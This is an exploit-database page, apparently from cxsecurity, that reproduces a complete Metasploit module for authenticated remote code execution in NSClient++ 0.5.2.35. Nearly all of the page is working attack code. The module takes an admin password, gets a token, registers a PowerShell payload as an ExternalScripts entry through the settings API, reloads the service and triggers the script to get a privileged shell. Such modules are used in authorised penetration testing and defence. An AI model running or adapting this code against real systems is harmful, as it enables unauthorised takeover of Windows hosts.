NSClient++ 0.5.2.35 Remote Code Execution

2021.07.11
Credit: kindredsec
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include ::Msf::Exploit::Remote::HttpClient include ::Msf::Exploit::CmdStager include ::Msf::Exploit::Powershell prepend ::Msf::Exploit::Remote::AutoCheck include ::Rex::Text def initialize(info = {}) super( update_info( info, 'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution', 'Description' => %q{ This module allows an attacker with knowledge of the admin password of NSClient++ to start a privilege shell. For this module to work, both web interface of NSClient++ and `ExternalScripts` feature should be enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'kindredsec', # POC on www.exploit-db.com 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module ], 'References' => [ ['EDB', '48360'] ], 'Platform' => %w[windows], 'Arch' => [ARCH_X64], 'Targets' => [ [ 'Windows', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_powershell } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-10-20', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] }, 'DefaultOptions' => { 'SSL' => true } ) ) register_options [ Opt::RPORT(8443), OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil]) ] end def configure_payload(token, cmd, key) print_status('Configuring Script with Specified Payload . . .') plugin_id = rand(1..10000).to_s node = { 'path' => '/settings/external scripts/scripts', 'key' => key } value = { 'string_data' => cmd } update = { 'node' => node, 'value' => value } payload = [ { 'plugin_id' => plugin_id, 'update' => update } ] json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload } r = send_request_cgi({ 'method' => 'POST', 'data' => JSON.generate(json_data), 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/settings/query.json') }) if !(r&.body.to_s.include? 'STATUS_OK') print_error('Error configuring payload. Hit error at: ' + endpoint) end print_status('Added External Script (name: ' + key + ')') sleep(3) print_status('Saving Configuration . . .') header = { 'version' => '1' } payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ] json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload } send_request_cgi({ 'method' => 'POST', 'data' => JSON.generate(json_data), 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/settings/query.json') }) end def reload_config(token) print_status('Reloading Application . . .') send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/core/reload') }) print_status('Waiting for Application to reload . . .') sleep(10) response = false count = 0 until response begin sleep(2) r = send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/') }) if !r.body.empty? response = true end rescue StandardError count += 1 if count > 10 fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!') end end end end def trigger_payload(token, key) print_status('Triggering payload, should execute shortly . . .') send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri("/query/#{key}") }) rescue StandardError => e print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'") end def external_scripts_feature_enabled?(token) r = send_request_cgi({ 'method' => 'GET', 'headers' => { 'TOKEN' => token }, 'uri' => normalize_uri('/registry/control/module/load'), 'vars_get' => { 'name' => 'CheckExternalScripts' } }) r&.body.to_s.include? 'STATUS_OK' end def get_auth_token r = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD']) }) if r.code == 200 begin auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1] return auth_token rescue StandardError :no_token_found end else :wrong_password end rescue StandardError :failed_to_connect end def check token = get_auth_token if token == :failed_to_connect CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host") elsif token == :wrong_password CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong') elsif token == :no_token_found CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe') else print_good('Got auth token: ' + token) if external_scripts_feature_enabled?(token) CheckCode::Vulnerable('External scripts feature enabled !') else CheckCode::Safe('External scripts feature disabled !') end end end def exploit cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) token = get_auth_token if token != :failed_to_connect && token != :wrong_password && token != :no_token_found rand_key = rand_text_alpha_lower(10) configure_payload(token, cmd, rand_key) reload_config(token) token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted trigger_payload(token, rand_key) end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top